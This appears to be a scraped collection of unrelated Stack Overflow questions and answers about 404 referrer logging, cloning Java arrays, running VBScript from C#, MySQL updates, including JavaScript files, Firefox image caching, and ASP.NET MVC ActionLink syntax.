I'm rebuilding a site with a lot of incoming links, and the URL structure is completely changing. I'm using the stock mod\_rewrite solution to redirect all old links to new pages. However, as I'm sure a few links will slip through the net, I've built a small script that runs on my custom 404 page, to log the incoming visitors' referrer URL. This will help me track down any broken links. In addition to referrer, is there also a way of logging the url that the user entered, or clicked that caused a 404? I ask this as referrer is obviously a bit 'hit & miss'. I suspect not, but thought it worth a question.
``` /**Creates an independent copy(clone) of the boolean array. * @param array The array to be cloned. * @return An independent 'deep' structure clone of the array. */ public static boolean[][] clone2DArray(boolean[][] array) { int rows=array.length ; //int rowIs=array[0].length ; //clone the 'shallow' structure of array boolean[][] newArray =(boolean[][]) array.clone(); //clone the 'deep' structure of array for(int row=0;row<rows;row++){ newArray[row]=(boolean[]) array[row].clone(); } return newArray; } ```
200,422
<p>I need to call a <a href="http://en.wikipedia.org/wiki/VBScript" rel="noreferrer">VBScript</a> file (.vbs file extension) in my C# Windows application. How can I do this? </p> <p>There is an add-in to access a VBScript file in Visual Studio. But I need to access the script in code behind. How to do this?</p>
[ { "answer_id": 200429, "author": "Ilya Kochetov", "author_id": 15329, "author_profile": "https://Stackoverflow.com/users/15329", "pm_score": 7, "selected": true, "text": "<p>The following code will execute a VBScript script with no prompts or errors and no shell logo.</p>\n\n<pre><code>System.Diagnostics.Process.Start(@\"cscript //B //Nologo c:\\scripts\\vbscript.vbs\");\n</code></pre>\n\n<p>A more complex technique would be to use:</p>\n\n<pre><code>Process scriptProc = new Process();\nscriptProc.StartInfo.FileName = @\"cscript\"; \nscriptProc.StartInfo.WorkingDirectory = @\"c:\\scripts\\\"; //&lt;---very important \nscriptProc.StartInfo.Arguments =\"//B //Nologo vbscript.vbs\";\nscriptProc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; //prevent console window from popping up\nscriptProc.Start();\nscriptProc.WaitForExit(); // &lt;-- Optional if you want program running until your script exit\nscriptProc.Close();\n</code></pre>\n\n<p>Using the <code>StartInfo</code> properties will give you quite granular access to the process settings.</p>\n\n<p>You need to use <a href=\"http://en.wikipedia.org/wiki/Windows_Script_Host\" rel=\"noreferrer\">Windows Script Host</a> if you want windows, etc. to be displayed by the script program. You could also try just executing <code>cscript</code> directly but on some systems it will just launch the editor :)</p>\n" }, { "answer_id": 200435, "author": "Biri", "author_id": 968, "author_profile": "https://Stackoverflow.com/users/968", "pm_score": 2, "selected": false, "text": "<p>You mean you try to run a vbs file from C#?</p>\n\n<p>It can be done like <a href=\"http://msdn.microsoft.com/en-us/library/system.diagnostics.process.start(VS.80).aspx\" rel=\"nofollow noreferrer\">running any other program from C# code</a>: </p>\n\n<pre><code>Process.Start(path);\n</code></pre>\n\n<p>But you have to make sure that it won't ask for anything, and it is running with the command line version of the interpreter:</p>\n\n<pre><code>Process.Start(\"cscript path\\\\to\\\\script.vbs\");\n</code></pre>\n" }, { "answer_id": 6265859, "author": "qxotk", "author_id": 32700, "author_profile": "https://Stackoverflow.com/users/32700", "pm_score": 3, "selected": false, "text": "<p>Another approach is to create a VB.NET Class Library project, copy your VBScript code into a VB.NET Class file, and reference the VB.NET Class Library from your C# program.</p>\n\n<p>You will need to fix-up any differences between VBScript and VB.NET (should be few).</p>\n\n<p>The advantage here, is that you will run the code in-process.</p>\n" }, { "answer_id": 9485881, "author": "Will", "author_id": 1238342, "author_profile": "https://Stackoverflow.com/users/1238342", "pm_score": 2, "selected": false, "text": "<p>This is a permissions issue. Your application appPool must be running at the highest permission level to do this in 2008. The Identity must be Administrator.</p>\n" }, { "answer_id": 39721935, "author": "JsAndDotNet", "author_id": 852806, "author_profile": "https://Stackoverflow.com/users/852806", "pm_score": 1, "selected": false, "text": "<p>For the benefit of searchers, I found this <a href=\"https://social.microsoft.com/Forums/en-US/9f5505d3-ab39-4f66-9ce5-95a7af432d22/passing-a-parameter-from-a-c-form-to-a-vbscript-and-executing-script?forum=Offtopic\" rel=\"nofollow\">post</a>, which gives a clear answer (esp if you have parameters). Have tested it - seems to work fine.</p>\n\n<pre><code>string scriptName = \"myScript.vbs\"; // full path to script\nint abc = 2;\nstring name = \"Serrgggio\";\n\nProcessStartInfo ps = new ProcessStartInfo();\nps.FileName = \"cscript.exe\";\nps.Arguments = string.Format(\"\\\"{0}\\\" \\\"{1}\\\" \\\"{2}\\\"\", scriptName, abc, name);\n//This will equate to running via the command line:\n// &gt; cscript.exe \"myScript.vbs\" \"2\" \"Serrgggio\"\nProcess.Start(ps);\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200422", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22162/" ]
I need to call a [VBScript](http://en.wikipedia.org/wiki/VBScript) file (.vbs file extension) in my C# Windows application. How can I do this? There is an add-in to access a VBScript file in Visual Studio. But I need to access the script in code behind. How to do this?
The following code will execute a VBScript script with no prompts or errors and no shell logo. ``` System.Diagnostics.Process.Start(@"cscript //B //Nologo c:\scripts\vbscript.vbs"); ``` A more complex technique would be to use: ``` Process scriptProc = new Process(); scriptProc.StartInfo.FileName = @"cscript"; scriptProc.StartInfo.WorkingDirectory = @"c:\scripts\"; //<---very important scriptProc.StartInfo.Arguments ="//B //Nologo vbscript.vbs"; scriptProc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; //prevent console window from popping up scriptProc.Start(); scriptProc.WaitForExit(); // <-- Optional if you want program running until your script exit scriptProc.Close(); ``` Using the `StartInfo` properties will give you quite granular access to the process settings. You need to use [Windows Script Host](http://en.wikipedia.org/wiki/Windows_Script_Host) if you want windows, etc. to be displayed by the script program. You could also try just executing `cscript` directly but on some systems it will just launch the editor :)
200,430
<p>I've tried a couple of approaches to update a column in a mySQL database table from another table but am not having any luck. </p> <p>I read somewhere that version 3.5.2 does not support multi-table updates and I need a code-based solution - is that correct?</p> <p>If not can anybody point me in the right direction using sql? </p> <pre><code>UPDATE products SET products_ordered = ( SELECT SUM(products_quantity) FROM orders_products WHERE products_id = products.products_id ); </code></pre> <p>or:</p> <pre><code>Create temporary table my_temp_table as SELECT products_id, SUM(products_quantity) as total FROM orders_products GROUP BY products_id UPDATE products, my_temp_table SET products.products_ordered = my_temp_table.total WHERE products.products_id = my_temp_table.products_id </code></pre>
[ { "answer_id": 200443, "author": "Node", "author_id": 7190, "author_profile": "https://Stackoverflow.com/users/7190", "pm_score": 0, "selected": false, "text": "<p>Multi-table updates are not support in MySQL &lt;= 4.0.4\nI would highly recommend to update your server to MySQL 5.0.xx</p>\n" }, { "answer_id": 201664, "author": "Bill Karwin", "author_id": 20860, "author_profile": "https://Stackoverflow.com/users/20860", "pm_score": 3, "selected": true, "text": "<p>When I used to use MySQL that did not support either subqueries or multi-table updates, I used a trick to do what you're describing. Run a query whose results are themselves SQL statements, and then save the output and run that as an SQL script.</p>\n\n<pre><code>SELECT CONCAT( \n 'UPDATE products SET products_ordered = ', \n SUM(products_quantity), \n ' WHERE product_id = ', products_id, ';') AS sql_statement\nFROM orders_products\nGROUP BY products_id;\n</code></pre>\n\n<p>By the way, there is no such version MySQL 3.5.x as far as I know. I think you may have reported that wrong. Or else you're using another product such as mSQL.</p>\n\n<p><strong>Edit:</strong> I forgot to add a semicolon into the SQL statement generated by the query above.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200430", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9948/" ]
I've tried a couple of approaches to update a column in a mySQL database table from another table but am not having any luck. I read somewhere that version 3.5.2 does not support multi-table updates and I need a code-based solution - is that correct? If not can anybody point me in the right direction using sql? ``` UPDATE products SET products_ordered = ( SELECT SUM(products_quantity) FROM orders_products WHERE products_id = products.products_id ); ``` or: ``` Create temporary table my_temp_table as SELECT products_id, SUM(products_quantity) as total FROM orders_products GROUP BY products_id UPDATE products, my_temp_table SET products.products_ordered = my_temp_table.total WHERE products.products_id = my_temp_table.products_id ```
When I used to use MySQL that did not support either subqueries or multi-table updates, I used a trick to do what you're describing. Run a query whose results are themselves SQL statements, and then save the output and run that as an SQL script. ``` SELECT CONCAT( 'UPDATE products SET products_ordered = ', SUM(products_quantity), ' WHERE product_id = ', products_id, ';') AS sql_statement FROM orders_products GROUP BY products_id; ``` By the way, there is no such version MySQL 3.5.x as far as I know. I think you may have reported that wrong. Or else you're using another product such as mSQL. **Edit:** I forgot to add a semicolon into the SQL statement generated by the query above.
200,439
<p>I'm sorry for this very newbish question, I'm not much given into web development. I've got this cool JavaScript in a .js file that we want to use on a small web site. (It's a script to run Cooliris on it).</p> <p>How do use the .js file or attach it to my HTML code?</p>
[ { "answer_id": 200448, "author": "gizmo", "author_id": 9396, "author_profile": "https://Stackoverflow.com/users/9396", "pm_score": 3, "selected": false, "text": "<pre><code>&lt;script type=\"text/javascript\" src=\"myfile.js\"&gt;&lt;/script&gt;\n</code></pre>\n\n<p>Usually inserted in the &lt;head&gt; tag. After that, it depends wether or not your script need additional initialization or customisation to work.</p>\n" }, { "answer_id": 200453, "author": "Tamas Czinege", "author_id": 8954, "author_profile": "https://Stackoverflow.com/users/8954", "pm_score": 6, "selected": true, "text": "<p>Just include this line anywhere in your HTML page:</p>\n\n<pre><code>&lt;script type=\"text/javascript\" src=\"yourfile.js\"&gt;&lt;/script&gt;\n</code></pre>\n\n<p>Don't forget the closing tag as IE won't recongize it without a separate closing tag.</p>\n" }, { "answer_id": 200607, "author": "S.Lott", "author_id": 10661, "author_profile": "https://Stackoverflow.com/users/10661", "pm_score": 1, "selected": false, "text": "<p>Do a view source on this page.</p>\n" }, { "answer_id": 8102757, "author": "iKushal", "author_id": 1037592, "author_profile": "https://Stackoverflow.com/users/1037592", "pm_score": 0, "selected": false, "text": "<p>use this script with in head tag.and your JS file path with name of ur file</p>\n\n<pre><code>&lt;html&gt;\n &lt;head&gt;\n &lt;script type=\"text/javascript\" src=\"url+yourfilename.js\"&gt;&lt;/script&gt;\n &lt;/head&gt;\n&lt;/html&gt;\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200439", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26004/" ]
I'm sorry for this very newbish question, I'm not much given into web development. I've got this cool JavaScript in a .js file that we want to use on a small web site. (It's a script to run Cooliris on it). How do use the .js file or attach it to my HTML code?
Just include this line anywhere in your HTML page: ``` <script type="text/javascript" src="yourfile.js"></script> ``` Don't forget the closing tag as IE won't recongize it without a separate closing tag.
200,470
<p>We have found out that Firefox (at least v3) and Safari don't properly cache images referenced from a css file. The images are cached, but they are never refreshed, even if you change them on the server. Once Firefox has the image in the cache, it will never check if it has changed.</p> <p>Our css file looks like this:</p> <pre><code>div#news { background: #FFFFFF url(images/newsitem_background.jpg) no-repeat; ... } </code></pre> <p>The problem is that if we now change the newsitem_background.jpg image, all Firefox users will still get the old image, unless they explicitly refresh the page. IE on the other hand, detects that the image has changed and reloads it automatically.</p> <p>Is this a known problem? Any workarounds? Thanks!</p> <p>EDIT: The solution is not to press F5. I can do this. But our clients will just visit our web site, and get the old, outdated graphics. How would they know they would need to press F5?</p> <p>I have installed Firebug and confirmed what I already suspected: Firefox just doesn't even try to retrieve images referenced from a css file, to find out if they have been changed. When you press F5, it does check all images, and the web server nicely responds with 304, except for those that <em>have</em> changed, where it responds with 200 OK.</p> <p>So, is there a way to urge Firefox to <em>automatically</em> update an image that is referenced from a css file? Surely I'm not the only one with this problem?</p> <p>EDIT2: I tested this with localhost, and the image response doesn't contain any caching information, it's:</p> <pre><code>Server Microsoft-IIS/5.1 X-Powered-By ASP.NET Date Tue, 14 Oct 2008 11:01:27 GMT Content-Type image/jpeg Accept-Ranges bytes Last-Modified Tue, 14 Oct 2008 11:00:43 GMT Etag "7ab3aa1aec2dc91:9f4" Content-Length 61196 </code></pre> <p>EDIT3: I've done some more reading and it looks like it just can't be fixed, since Firefox, or most browser, will just assume an image doesn't change very often (expires header and all).</p>
[ { "answer_id": 200481, "author": "Drew Noakes", "author_id": 24874, "author_profile": "https://Stackoverflow.com/users/24874", "pm_score": 0, "selected": false, "text": "<p>Try holding the SHIFT key while you click reload (or press <kbd>F5</kbd>).</p>\n\n<p>Otherwise, use a tool such as Firebug to check the HTTP request/response headers and observe the header values that control caching. I've never noticed this problem. Perhaps your server is returning a 304 response (not modified).</p>\n" }, { "answer_id": 200495, "author": "Dan", "author_id": 17121, "author_profile": "https://Stackoverflow.com/users/17121", "pm_score": 0, "selected": false, "text": "<p>I know this probably isn't what you want to hear, but it's considerably more likely that Firefox is following the standard and IE is doing something slightly odd (and you just happen to rely on it ;)).</p>\n\n<p>The caching behaviour depends on what caching headers are being sent with your images. If you're in a position to post the headers (or a URL to one of the images), then we'll be able to tell you more specifically what's going on.</p>\n" }, { "answer_id": 200598, "author": "scunliffe", "author_id": 6144, "author_profile": "https://Stackoverflow.com/users/6144", "pm_score": 1, "selected": false, "text": "<p>Verify your HTTP headers on the images you are serving up, as well as the CSS file(s).</p>\n\n<p>If any of them are set to cache (or are missing), you will find the browser is correctly caching the file(s).</p>\n" }, { "answer_id": 200868, "author": "PhiLho", "author_id": 15459, "author_profile": "https://Stackoverflow.com/users/15459", "pm_score": 2, "selected": false, "text": "<p>To avoid such issue, I have seen webmasters adding <strong>version number</strong> to their files. So they load <code>site-look-124.css</code> and <code>newsitem_background-7.jpg.</code></p>\n\n<p>Not a bad solution, IMHO.</p>\n" }, { "answer_id": 200922, "author": "Jrgns", "author_id": 6681, "author_profile": "https://Stackoverflow.com/users/6681", "pm_score": 0, "selected": false, "text": "<p>This won't fix the problem of Firefox not checking if the image has expired, but what you can do to ensure that your clients see the correct image is:</p>\n\n<p>Set the image in the css to a PHP or similiar script that returns the image:</p>\n\n<pre><code>div#news {\n background: #FFFFFF url(images/background.php?name=newsitem) no-repeat;\n ...\n}\n</code></pre>\n\n<p>Then use the script to return the image\"</p>\n\n<pre><code>&lt;?php\n$name = isset($_REQUEST['name']) ? $_REQUEST['name'] : false;\nswitch($name) {\n case 'newsitem':\n $filename = 'news_item_background.jpg';\n break;\n default:\n $filename = 'common_background.jpg';\n break;\n}\n\nheader(\"Content-Type: image/jpeg\");\nheader(\"Content-Transfer-Encoding: binary\");\n$fp = fopen($filename , \"r\");\nif ($fp) fpassthru($fp);\n</code></pre>\n\n<p>I use it on my home server to randomly return a background image for some of my pages, and Firefox doesn't seem to cache these. You can also do some funky stuph with the images if you like.</p>\n" }, { "answer_id": 200936, "author": "Raleigh Buckner", "author_id": 1153, "author_profile": "https://Stackoverflow.com/users/1153", "pm_score": 4, "selected": true, "text": "<p>I would just add a querystring value to the image url. I usually just create a \"version number\" and increment it every time the image changes:</p>\n\n<pre><code>div#news {\n background: url(images/newsitem_background.jpg?v=00001) no-repeat;\n ...\n}\n</code></pre>\n" }, { "answer_id": 1328516, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>One other quick work-around (if this mainly occurs in the middle of web designing) is to view the actual css page in firefox, and reload the page, then when you return to the website the browser will read the current css page.</p>\n\n<p>of course this is a temp fix just for the web designer</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200470", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12416/" ]
We have found out that Firefox (at least v3) and Safari don't properly cache images referenced from a css file. The images are cached, but they are never refreshed, even if you change them on the server. Once Firefox has the image in the cache, it will never check if it has changed. Our css file looks like this: ``` div#news { background: #FFFFFF url(images/newsitem_background.jpg) no-repeat; ... } ``` The problem is that if we now change the newsitem\_background.jpg image, all Firefox users will still get the old image, unless they explicitly refresh the page. IE on the other hand, detects that the image has changed and reloads it automatically. Is this a known problem? Any workarounds? Thanks! EDIT: The solution is not to press F5. I can do this. But our clients will just visit our web site, and get the old, outdated graphics. How would they know they would need to press F5? I have installed Firebug and confirmed what I already suspected: Firefox just doesn't even try to retrieve images referenced from a css file, to find out if they have been changed. When you press F5, it does check all images, and the web server nicely responds with 304, except for those that *have* changed, where it responds with 200 OK. So, is there a way to urge Firefox to *automatically* update an image that is referenced from a css file? Surely I'm not the only one with this problem? EDIT2: I tested this with localhost, and the image response doesn't contain any caching information, it's: ``` Server Microsoft-IIS/5.1 X-Powered-By ASP.NET Date Tue, 14 Oct 2008 11:01:27 GMT Content-Type image/jpeg Accept-Ranges bytes Last-Modified Tue, 14 Oct 2008 11:00:43 GMT Etag "7ab3aa1aec2dc91:9f4" Content-Length 61196 ``` EDIT3: I've done some more reading and it looks like it just can't be fixed, since Firefox, or most browser, will just assume an image doesn't change very often (expires header and all).
I would just add a querystring value to the image url. I usually just create a "version number" and increment it every time the image changes: ``` div#news { background: url(images/newsitem_background.jpg?v=00001) no-repeat; ... } ```
200,476
<p>Let's say I have a class</p> <pre><code>public class ItemController:Controller { public ActionResult Login(int id) { return View("Hi", id); } } </code></pre> <p>On a page that is not located at the Item folder, where <code>ItemController</code> resides, I want to create a link to the <code>Login</code> method. So which <code>Html.ActionLink</code> method I should use and what parameters should I pass?</p> <p>Specifically, I am looking for the replacement of the method </p> <pre><code>Html.ActionLink(article.Title, new { controller = "Articles", action = "Details", id = article.ArticleID }) </code></pre> <p>that has been retired in the recent ASP.NET MVC incarnation. </p>
[ { "answer_id": 201206, "author": "Adhip Gupta", "author_id": 384, "author_profile": "https://Stackoverflow.com/users/384", "pm_score": 4, "selected": false, "text": "<pre><code>Html.ActionLink(article.Title, \"Login/\" + article.ArticleID, 'Item\") \n</code></pre>\n" }, { "answer_id": 201341, "author": "Joseph Kingry", "author_id": 3046, "author_profile": "https://Stackoverflow.com/users/3046", "pm_score": 10, "selected": true, "text": "<p>I think what you want is this:</p>\n\n<h2>ASP.NET MVC1</h2>\n\n<pre><code>Html.ActionLink(article.Title, \n \"Login\", // &lt;-- Controller Name.\n \"Item\", // &lt;-- ActionMethod\n new { id = article.ArticleID }, // &lt;-- Route arguments.\n null // &lt;-- htmlArguments .. which are none. You need this value\n // otherwise you call the WRONG method ...\n // (refer to comments, below).\n )\n</code></pre>\n\n<p>This uses the following method ActionLink signature:</p>\n\n<pre><code>public static string ActionLink(this HtmlHelper htmlHelper, \n string linkText,\n string controllerName,\n string actionName,\n object values, \n object htmlAttributes)\n</code></pre>\n\n<h2>ASP.NET MVC2</h2>\n\n<p><em>two arguments have been switched around</em></p>\n\n<pre><code>Html.ActionLink(article.Title, \n \"Item\", // &lt;-- ActionMethod\n \"Login\", // &lt;-- Controller Name.\n new { id = article.ArticleID }, // &lt;-- Route arguments.\n null // &lt;-- htmlArguments .. which are none. You need this value\n // otherwise you call the WRONG method ...\n // (refer to comments, below).\n )\n</code></pre>\n\n<p>This uses the following method ActionLink signature:</p>\n\n<pre><code>public static string ActionLink(this HtmlHelper htmlHelper, \n string linkText,\n string actionName,\n string controllerName,\n object values, \n object htmlAttributes)\n</code></pre>\n\n<h2>ASP.NET MVC3+</h2>\n\n<p><em>arguments are in the same order as MVC2, however the id value is no longer required:</em></p>\n\n<pre><code>Html.ActionLink(article.Title, \n \"Item\", // &lt;-- ActionMethod\n \"Login\", // &lt;-- Controller Name.\n new { article.ArticleID }, // &lt;-- Route arguments.\n null // &lt;-- htmlArguments .. which are none. You need this value\n // otherwise you call the WRONG method ...\n // (refer to comments, below).\n )\n</code></pre>\n\n<p>This avoids hard-coding any routing logic into the link.</p>\n\n<pre><code> &lt;a href=\"/Item/Login/5\"&gt;Title&lt;/a&gt; \n</code></pre>\n\n<p>This will give you the following html output, assuming:</p>\n\n<ol>\n<li><code>article.Title = \"Title\"</code></li>\n<li><code>article.ArticleID = 5</code></li>\n<li>you still have the following route defined</li>\n</ol>\n\n<p>.\n.</p>\n\n<pre><code>routes.MapRoute(\n \"Default\", // Route name\n \"{controller}/{action}/{id}\", // URL with parameters\n new { controller = \"Home\", action = \"Index\", id = \"\" } // Parameter defaults\n);\n</code></pre>\n" }, { "answer_id": 201689, "author": "Haacked", "author_id": 598, "author_profile": "https://Stackoverflow.com/users/598", "pm_score": 4, "selected": false, "text": "<p>You might want to look at the <a href=\"http://msdn.microsoft.com/en-us/library/system.web.mvc.html.linkextensions.routelink.aspx\" rel=\"noreferrer\"><code>RouteLink()</code></a> method.That one lets you specify everything (except the link text and route name) via a dictionary.</p>\n" }, { "answer_id": 625937, "author": "Jeff Widmer", "author_id": 21579, "author_profile": "https://Stackoverflow.com/users/21579", "pm_score": 5, "selected": false, "text": "<p>I wanted to add to <a href=\"https://stackoverflow.com/a/201341/3834\">Joseph Kingry's answer</a>. He provided the solution but at first I couldn't get it to work either and got a result just like Adhip Gupta. And then I realized that the route has to exist in the first place and the parameters need to match the route exactly. So I had an id and then a text parameter for my route which also needed to be included too.</p>\n\n<pre><code>Html.ActionLink(article.Title, \"Login\", \"Item\", new { id = article.ArticleID, title = article.Title }, null)\n</code></pre>\n" }, { "answer_id": 3832168, "author": "agez", "author_id": 323418, "author_profile": "https://Stackoverflow.com/users/323418", "pm_score": 4, "selected": false, "text": "<p>I think that Joseph flipped controller and action. First comes the action then the controller. This is somewhat strange, but the way the signature looks.</p>\n\n<p>Just to clarify things, this is the version that works (adaption of Joseph's example):</p>\n\n<pre><code>Html.ActionLink(article.Title, \n \"Login\", // &lt;-- ActionMethod\n \"Item\", // &lt;-- Controller Name\n new { id = article.ArticleID }, // &lt;-- Route arguments.\n null // &lt;-- htmlArguments .. which are none\n )\n</code></pre>\n" }, { "answer_id": 3896464, "author": "Hasan", "author_id": 470946, "author_profile": "https://Stackoverflow.com/users/470946", "pm_score": 4, "selected": false, "text": "<p>what about this</p>\n\n<pre><code>&lt;%=Html.ActionLink(\"Get Involved\", \n \"Show\", \n \"Home\", \n new \n { \n id = \"GetInvolved\" \n }, \n new { \n @class = \"menuitem\", \n id = \"menu_getinvolved\" \n }\n )%&gt;\n</code></pre>\n" }, { "answer_id": 20791462, "author": "Serj Sagan", "author_id": 550975, "author_profile": "https://Stackoverflow.com/users/550975", "pm_score": 3, "selected": false, "text": "<p>If you want to go all fancy-pants, here's how you can extend it to be able to do this:</p>\n\n<pre><code>@(Html.ActionLink&lt;ArticlesController&gt;(x =&gt; x.Details(), article.Title, new { id = article.ArticleID }))\n</code></pre>\n\n<p>You will need to put this in the <code>System.Web.Mvc</code> namespace:</p>\n\n<pre><code>public static class MyProjectExtensions\n{\n public static MvcHtmlString ActionLink&lt;TController&gt;(this HtmlHelper htmlHelper, Expression&lt;Action&lt;TController&gt;&gt; expression, string linkText)\n {\n var urlHelper = new UrlHelper(htmlHelper.ViewContext.RequestContext, htmlHelper.RouteCollection);\n\n var link = new TagBuilder(\"a\");\n\n string actionName = ExpressionHelper.GetExpressionText(expression);\n string controllerName = typeof(TController).Name.Replace(\"Controller\", \"\");\n\n link.MergeAttribute(\"href\", urlHelper.Action(actionName, controllerName));\n link.SetInnerText(linkText);\n\n return new MvcHtmlString(link.ToString());\n }\n\n public static MvcHtmlString ActionLink&lt;TController, TAction&gt;(this HtmlHelper htmlHelper, Expression&lt;Action&lt;TController, TAction&gt;&gt; expression, string linkText, object routeValues)\n {\n var urlHelper = new UrlHelper(htmlHelper.ViewContext.RequestContext, htmlHelper.RouteCollection);\n\n var link = new TagBuilder(\"a\");\n\n string actionName = ExpressionHelper.GetExpressionText(expression);\n string controllerName = typeof(TController).Name.Replace(\"Controller\", \"\");\n\n link.MergeAttribute(\"href\", urlHelper.Action(actionName, controllerName, routeValues));\n link.SetInnerText(linkText);\n\n return new MvcHtmlString(link.ToString());\n }\n\n public static MvcHtmlString ActionLink&lt;TController&gt;(this HtmlHelper htmlHelper, Expression&lt;Action&lt;TController&gt;&gt; expression, string linkText, object routeValues, object htmlAttributes) where TController : Controller\n {\n var urlHelper = new UrlHelper(htmlHelper.ViewContext.RequestContext, htmlHelper.RouteCollection);\n\n var attributes = AnonymousObjectToKeyValue(htmlAttributes);\n\n var link = new TagBuilder(\"a\");\n\n string actionName = ExpressionHelper.GetExpressionText(expression);\n string controllerName = typeof(TController).Name.Replace(\"Controller\", \"\");\n\n link.MergeAttribute(\"href\", urlHelper.Action(actionName, controllerName, routeValues));\n link.MergeAttributes(attributes, true);\n link.SetInnerText(linkText);\n\n return new MvcHtmlString(link.ToString());\n }\n\n private static Dictionary&lt;string, object&gt; AnonymousObjectToKeyValue(object anonymousObject)\n {\n var dictionary = new Dictionary&lt;string, object&gt;();\n\n if (anonymousObject == null) return dictionary;\n\n foreach (PropertyDescriptor propertyDescriptor in TypeDescriptor.GetProperties(anonymousObject))\n {\n dictionary.Add(propertyDescriptor.Name, propertyDescriptor.GetValue(anonymousObject));\n }\n\n return dictionary;\n }\n}\n</code></pre>\n\n<p>This includes two overrides for <code>Route Values</code> and <code>HTML Attributes</code>, also, all of your views would need to add: <code>@using YourProject.Controllers</code> or you can add it to your <code>web.config &lt;pages&gt;&lt;namespaces&gt;</code></p>\n" }, { "answer_id": 32205023, "author": "Sohail Malik", "author_id": 3229279, "author_profile": "https://Stackoverflow.com/users/3229279", "pm_score": 1, "selected": false, "text": "<p>With MVC5 i have done it like this and it is 100% working code.... </p>\n\n<pre><code>@Html.ActionLink(department.Name, \"Index\", \"Employee\", new { \n departmentId = department.DepartmentID }, null)\n</code></pre>\n\n<p>You guys can get an idea from this...</p>\n" }, { "answer_id": 32564198, "author": "guneysus", "author_id": 1766716, "author_profile": "https://Stackoverflow.com/users/1766716", "pm_score": 3, "selected": false, "text": "<p>Use named parameters for readability and to avoid confusions.</p>\n\n<pre><code>@Html.ActionLink(\n linkText: \"Click Here\",\n actionName: \"Action\",\n controllerName: \"Home\",\n routeValues: new { Identity = 2577 },\n htmlAttributes: null)\n</code></pre>\n" }, { "answer_id": 44034210, "author": "Serdin Çelik", "author_id": 7834559, "author_profile": "https://Stackoverflow.com/users/7834559", "pm_score": 0, "selected": false, "text": "<p>This type use:</p>\n\n<p>@Html.ActionLink(\"MainPage\",\"Index\",\"Home\")</p>\n\n<p>MainPage : Name of the text\nIndex : Action View\nHome : HomeController</p>\n\n<p>Base Use ActionLink</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;html&gt;\r\n&lt;head&gt;\r\n &lt;meta name=\"viewport\" content=\"width=device-width\" /&gt;\r\n &lt;title&gt;_Layout&lt;/title&gt;\r\n &lt;link href=\"@Url.Content(\"~/Content/bootsrap.min.css\")\" rel=\"stylesheet\" type=\"text/css\" /&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n &lt;div class=\"container\"&gt;\r\n &lt;div class=\"col-md-12\"&gt;\r\n &lt;button class=\"btn btn-default\" type=\"submit\"&gt;@Html.ActionLink(\"AnaSayfa\",\"Index\",\"Home\")&lt;/button&gt;\r\n &lt;button class=\"btn btn-default\" type=\"submit\"&gt;@Html.ActionLink(\"Hakkımızda\", \"Hakkimizda\", \"Home\")&lt;/button&gt;\r\n &lt;button class=\"btn btn-default\" type=\"submit\"&gt;@Html.ActionLink(\"Iletişim\", \"Iletisim\", \"Home\")&lt;/button&gt;\r\n &lt;/div&gt; \r\n @RenderBody()\r\n &lt;div class=\"col-md-12\" style=\"height:200px;background-image:url(/img/footer.jpg)\"&gt;\r\n\r\n &lt;/div&gt;\r\n &lt;/div&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200476", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3834/" ]
Let's say I have a class ``` public class ItemController:Controller { public ActionResult Login(int id) { return View("Hi", id); } } ``` On a page that is not located at the Item folder, where `ItemController` resides, I want to create a link to the `Login` method. So which `Html.ActionLink` method I should use and what parameters should I pass? Specifically, I am looking for the replacement of the method ``` Html.ActionLink(article.Title, new { controller = "Articles", action = "Details", id = article.ArticleID }) ``` that has been retired in the recent ASP.NET MVC incarnation.
I think what you want is this: ASP.NET MVC1 ------------ ``` Html.ActionLink(article.Title, "Login", // <-- Controller Name. "Item", // <-- ActionMethod new { id = article.ArticleID }, // <-- Route arguments. null // <-- htmlArguments .. which are none. You need this value // otherwise you call the WRONG method ... // (refer to comments, below). ) ``` This uses the following method ActionLink signature: ``` public static string ActionLink(this HtmlHelper htmlHelper, string linkText, string controllerName, string actionName, object values, object htmlAttributes) ``` ASP.NET MVC2 ------------ *two arguments have been switched around* ``` Html.ActionLink(article.Title, "Item", // <-- ActionMethod "Login", // <-- Controller Name. new { id = article.ArticleID }, // <-- Route arguments. null // <-- htmlArguments .. which are none. You need this value // otherwise you call the WRONG method ... // (refer to comments, below). ) ``` This uses the following method ActionLink signature: ``` public static string ActionLink(this HtmlHelper htmlHelper, string linkText, string actionName, string controllerName, object values, object htmlAttributes) ``` ASP.NET MVC3+ ------------- *arguments are in the same order as MVC2, however the id value is no longer required:* ``` Html.ActionLink(article.Title, "Item", // <-- ActionMethod "Login", // <-- Controller Name. new { article.ArticleID }, // <-- Route arguments. null // <-- htmlArguments .. which are none. You need this value // otherwise you call the WRONG method ... // (refer to comments, below). ) ``` This avoids hard-coding any routing logic into the link. ``` <a href="/Item/Login/5">Title</a> ``` This will give you the following html output, assuming: 1. `article.Title = "Title"` 2. `article.ArticleID = 5` 3. you still have the following route defined . . ``` routes.MapRoute( "Default", // Route name "{controller}/{action}/{id}", // URL with parameters new { controller = "Home", action = "Index", id = "" } // Parameter defaults ); ```
200,484
